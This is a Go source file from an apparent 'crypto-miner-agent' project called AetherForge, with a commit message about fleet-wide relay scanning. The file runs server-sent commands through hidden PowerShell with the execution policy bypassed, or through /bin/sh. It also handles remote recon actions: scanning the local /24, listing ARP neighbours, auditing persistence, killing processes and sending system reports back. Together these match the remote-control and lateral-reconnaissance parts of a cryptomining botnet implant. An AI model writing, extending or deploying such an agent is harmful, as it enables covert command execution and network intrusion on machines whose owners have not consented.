Files
AetherForge/agent/client/commands_common.go
AetherForge 5dd5b1d894
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Recon network batch 2: fleet relay scan and UDP hints.
POST /api/v1/recon/relay-scan probes from the dashboard when reachable, otherwise dispatches recon_relay_scan to a same-/24 online agent. Agents reuse probePortsFn for TCP and optionally UDP 53/51820 with dns/wireguard Path Tracer tags.
2026-06-07 11:58:09 -07:00

97 lines
2.6 KiB
Go

package client
import (
"encoding/json"
"fmt"
"os/exec"
"runtime"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return silentCombinedOutput("cmd.exe", "/C", command)
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) handleReconCommand(action, command, path string) bool {
if action == "recon_relay_scan" {
host := strings.TrimSpace(command)
if host == "" {
c.sendCommandResult(action, false, "host is required in command field")
return true
}
udpGuess := strings.EqualFold(strings.TrimSpace(path), "true")
out, err := deploy.RunRelayScanJSON(host, udpGuess)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, out)
return true
}
if action == "connectivity_probe" {
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
b, _ := json.Marshal(probe)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "arp_neighbors" {
ips := deploy.ArpNeighborIPs()
b, _ := json.Marshal(map[string]interface{}{
"neighbors": ips,
"count": len(ips),
})
c.sendCommandResult(action, true, string(b))
return true
}
if action == "network_recon" {
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
b, _ := json.Marshal(hints)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "persistence_audit" {
report := collectPersistenceAudit()
b, _ := json.Marshal(report)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "kill_process" {
pid := strings.TrimSpace(command)
if pid == "" {
c.sendCommandResult(action, false, "pid is required in command field")
return true
}
ok, msg := killProcessByPID(pid)
c.sendCommandResult(action, ok, msg)
return true
}
if action == "full_sys_check" {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult(action, true, report.JSON())
return true
}
handled, success, msg := c.platformRecon(action, command)
if !handled {
return false
}
c.sendCommandResult(action, success, msg)
return true
}
func formatCmdErr(err error, out []byte) string {
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
}